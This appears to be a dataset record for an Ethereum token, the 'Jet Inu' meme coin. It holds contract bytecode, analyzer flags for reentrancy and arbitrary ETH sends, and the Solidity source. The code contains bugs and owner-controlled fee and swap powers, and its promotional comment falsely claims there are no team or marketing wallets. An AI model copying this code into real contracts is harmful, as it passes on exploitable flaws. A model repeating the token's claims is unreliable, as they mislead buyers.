90611f36565b60405180910390fd5b60005b81518110156107715760016009600084848151811061072d5761072d6120a4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061076981612073565b91505061070c565b5050565b6000546001600160a01b0316331461079f5760405162461bcd60e51b815260040161070090611f36565b6001600160a01b03811660009081526009602052604090205460ff16156107e1576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461080e5760405162461bcd60e51b815260040161070090611f36565b600b91909155600d55565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161070090611f36565b601155565b6015546001600160a01b0316336001600160a01b03161461086857600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108cc5760405162461bcd60e51b815260040161070090611f36565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461090a57600080fd5b476107e1816115a7565b6001600160a01b038116600090815260026020526040812054610667906115e1565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161070090611f36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d45760405162461bcd60e51b815260040161070090611f36565b601855565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161070090611f36565b601754600160a01b900460ff1615610a1a57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a5357600080fd5b610a5c30610914565b8111158015610a6b5750600081115b610aa65760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610700565b6107e181611665565b6000546001600160a01b03163314610ad95760405162461bcd60e51b815260040161070090611f36565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b3957600080fd5b505afa158015610b4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b719190611cf5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb957600080fd5b505afa158015610bcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf19190611cf5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c3957600080fd5b505af1158015610c4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c719190611cf5565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610663338484610f13565b6000546001600160a01b03163314610ccb5760405162461bcd60e51b815260040161070090611f36565b600c91909155600e55565b6000546001600160a01b03163314610d005760405162461bcd60e51b815260040161070090611f36565b601955565b6000546001600160a01b03163314610d2f5760405162461bcd60e51b815260040161070090611f36565b6001600160a01b038116610d945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610700565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610700565b6001600160a01b038216610eb25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610700565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610700565b6001600160a01b038216610fd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610700565b6000811161103b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610700565b6001600160a01b03821660009081526009602052604090205460ff16156110745760405162461bcd60e51b815260040161070090611f6b565b6001600160a01b03831660009081526009602052604090205460ff16156110ad5760405162461bcd60e51b815260040161070090611f6b565b3360009081526009602052604090205460ff16156110dd5760405162461bcd60e51b815260040161070090611f6b565b6000546001600160a01b0384811691161480159061110957506000546001600160a01b03838116911614155b1561141757601754600160a01b900460ff166111675760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610700565b6017546001600160a01b03838116911614801561119257506016546001600160a01b03848116911614155b15611244576001600160a01b03821630148015906111b957506001600160a01b0383163014155b80156111d357506015546001600160a01b03838116911614155b80156111ed57506015546001600160a01b03848116911614155b15611244576018548111156112445760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610700565b6017546001600160a01b0383811691161480159061127057506015546001600160a01b03838116911614155b801561128557506001600160a01b0382163014155b801561129c57506001600160a01b03821661dead14155b1561131157601954816112ae84610914565b6112b89190612003565b106113115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610700565b600061131c30610914565b601a54909150811180801561133b5750601754600160a81b900460ff16155b801561135557506017546001600160a01b03868116911614155b801561136a5750601754600160b01b900460ff165b801561138f57506001600160a01b03851660009081526006602052604090205460ff16155b80156113b457506001600160a01b03841660009081526006602052604090205460ff16155b1561141457601154600090156113ef576113e460646113de601154866117ee90919063ffffffff16565b9061186d565b90506113ef816118af565b6114016113fc828561205c565b611665565b47801561141157611411476115a7565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061145957506001600160a01b03831660009081526006602052604090205460ff165b8061148b57506017546001600160a01b0385811691161480159061148b57506017546001600160a01b03848116911614155b156114985750600061155b565b6017546001600160a01b0385811691161480156114c357506016546001600160a01b03848116911614155b1561151e576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a54141561151e576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561154957506016546001600160a01b03858116911614155b1561155b57600d54600f55600e546010555b611567848484846118bc565b50505050565b600081848411156115915760405162461bcd60e51b81526004016107009190611ee1565b50600061159e848661205c565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610771573d6000803e3d6000fd5b60006007548211156116485760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610700565b60006116526118f0565b905061165e838261186d565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116ad576116ad6120a4565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561170157600080fd5b505afa158015611715573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117399190611cf5565b8160018151811061174c5761174c6120a4565b6001600160a01b0392831660209182029290920101526016546117729130911684610def565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906117ab908590600090869030904290600401611f92565b600060405180830381600087803b1580156117c557600080fd5b505af11580156117d9573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826117fd57506000610667565b6000611809838561203d565b905082611816858361201b565b1461165e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610700565b600061165e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611913565b6107e13061dead83610f13565b806118c9576118c9611941565b6118d4848484611986565b8061156757611567601254600f55601354601055601454601155565b60008060006118fd611a7d565b909250905061190c828261186d565b9250505090565b600081836119345760405162461bcd60e51b81526004016107009190611ee1565b50600061159e848661201b565b600f541580156119515750601054155b801561195d5750601154155b1561196457565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061199887611abd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119ca9087611b1a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119f99086611b5c565b6001600160a01b038916600090815260026020526040902055611a1b81611bbb565b611a258483611c05565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a6a91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611a98828261186d565b821015611ab457505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611ada8a600f54601054611c29565b9250925092506000611aea6118f0565b90506000806000611afd8e878787611c78565b919e509c509a509598509396509194505050505091939550919395565b600061165e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061156d565b600080611b698385612003565b90508381101561165e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610700565b6000611bc56118f0565b90506000611bd383836117ee565b30600090815260026020526040902054909150611bf09082611b5c565b30600090815260026020526040902055505050565b600754611c129083611b1a565b600755600854611c229082611b5c565b6008555050565b6000808080611c3d60646113de89896117ee565b90506000611c5060646113de8a896117ee565b90506000611c6882611c628b86611b1a565b90611b1a565b9992985090965090945050505050565b6000808080611c8788866117ee565b90506000611c9588876117ee565b90506000611ca388886117ee565b90506000611cb582611c628686611b1a565b939b939a50919850919650505050505050565b8035611cd3816120d0565b919050565b600060208284031215611cea57600080fd5b813561165e816120d0565b600060208284031215611d0757600080fd5b815161165e816120d0565b60008060408385031215611d2557600080fd5b8235611d30816120d0565b91506020830135611d40816120d0565b809150509250929050565b600080600060608486031215611d6057600080fd5b8335611d6b816120d0565b92506020840135611d7b816120d0565b929592945050506040919091013590565b60008060408385031215611d9f57600080fd5b8235611daa816120d0565b946020939093013593505050565b60006020808385031215611dcb57600080fd5b823567ffffffffffffffff80821115611de357600080fd5b818501915085601f830112611df757600080fd5b813581811115611e0957611e096120ba565b8060051b604051601f19603f83011681018181108582111715611e2e57611e2e6120ba565b604052828152858101935084860182860187018a1015611e4d57600080fd5b600095505b83861015611e7757611e6381611cc8565b855260019590950194938601938601611e52565b5098975050505050505050565b600060208284031215611e9657600080fd5b8135801515811461165e57600080fd5b600060208284031215611eb857600080fd5b5035919050565b60008060408385031215611ed257600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f0e57858101830151858201604001528201611ef2565b81811115611f20576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe25784516001600160a01b031683529383019391830191600101611fbd565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120165761201661208e565b500190565b60008261203857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120575761205761208e565b500290565b60008282101561206e5761206e61208e565b500390565b60006000198214156120875761208761208e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae7304173d3f9763ab2385ac0fde6b6ab40ac48a74cc0520f85e03add814f1d764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,341 |
0x0b960a5e30464358820358f1084e7433ae626a67
|
/**
*Submitted for verification at Etherscan.io on 2021-06-12
*/
/*
SPDX-License-Identifier: Mines™®©
Jet Inu Token is experimental meme token to benefit the community members/holders by redistribution strategy and fair launch.
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Myōbu was designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract JetInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Jet Inu Token";
string private constant _symbol = "JetInu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b604051610130919061320d565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d94565b610418565b60405161016d91906131f2565b60405180910390f35b34801561018257600080fd5b5061018b610436565b604051610198919061338f565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d45565b610446565b6040516101d591906131f2565b60405180910390f35b3480156101ea57600080fd5b506101f361051f565b6040516102009190613404565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd0565b610528565b005b34801561023e57600080fd5b506102476105da565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cb7565b61064c565b60405161027d919061338f565b60405180910390f35b34801561029257600080fd5b5061029b61069d565b005b3480156102a957600080fd5b506102b26107f0565b6040516102bf9190613124565b60405180910390f35b3480156102d457600080fd5b506102dd610819565b6040516102ea919061320d565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d94565b610856565b60405161032791906131f2565b60405180910390f35b34801561033c57600080fd5b50610345610874565b005b34801561035357600080fd5b5061035c6108ee565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e22565b6109b9565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d09565b610b01565b6040516103bb919061338f565b60405180910390f35b3480156103d057600080fd5b506103d9610b88565b005b60606040518060400160405280600d81526020017f4a657420496e7520546f6b656e00000000000000000000000000000000000000815250905090565b600061042c610425611093565b848461109b565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610453848484611266565b6105148461045f611093565b61050f856040518060600160405280602881526020016139ee60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c5611093565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120369092919063ffffffff16565b61109b565b600190509392505050565b60006009905090565b610530611093565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b4906132ef565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061b611093565b73ffffffffffffffffffffffffffffffffffffffff161461063b57600080fd5b60004790506106498161209a565b50565b6000610696600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612195565b9050919050565b6106a5611093565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610732576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610729906132ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4a6574496e750000000000000000000000000000000000000000000000000000815250905090565b600061086a610863611093565b8484611266565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b5611093565b73ffffffffffffffffffffffffffffffffffffffff16146108d557600080fd5b60006108e03061064c565b90506108eb81612203565b50565b6108f6611093565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a906132ef565b60405180910390fd5b601260159054906101000a900460ff1661099c57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c1611093565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a45906132ef565b60405180910390fd5b60008111610a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a88906132af565b60405180910390fd5b610abf6064610ab183670de0b6b3a76400006124fd90919063ffffffff16565b61257890919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af6919061338f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b90611093565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffffff